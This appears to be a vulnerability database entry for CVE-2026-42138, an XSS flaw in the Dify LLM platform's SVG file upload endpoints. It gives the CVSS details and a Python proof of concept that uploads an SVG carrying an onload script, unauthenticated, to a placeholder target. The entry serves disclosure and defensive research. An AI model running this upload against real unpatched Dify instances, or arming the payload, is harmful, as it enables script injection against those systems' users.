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CVE-2026-42138 CVSS 6.1 MEDIUM

CVE-2026-42138

Published: 2026-05-04 18:16:32
Last Modified: 2026-05-11 21:08:33

Description

Dify is an open-source LLM app development platform. Prior to version 1.13.1, using the method POST /api/files/upload, any unauthenticated user can upload an SVG file with XSS. The method POST /v1/files/upload, which requires authentication through the application API, is also vulnerable. This issue has been patched in version 1.13.1.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:langgenius:dify:*:*:*:*:*:node.js:*:* - VULNERABLE
Dify < 1.13.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-domain.com/api/files/upload" # Malicious SVG containing XSS payload svg_payload = """<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"> <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" /> </svg>""" files = { 'file': ('malicious.svg', svg_payload, 'image/svg+xml') } response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] Exploit file uploaded successfully.") print("[+] Check the returned URL or file preview to trigger XSS.") else: print("[-] Upload failed.")

References

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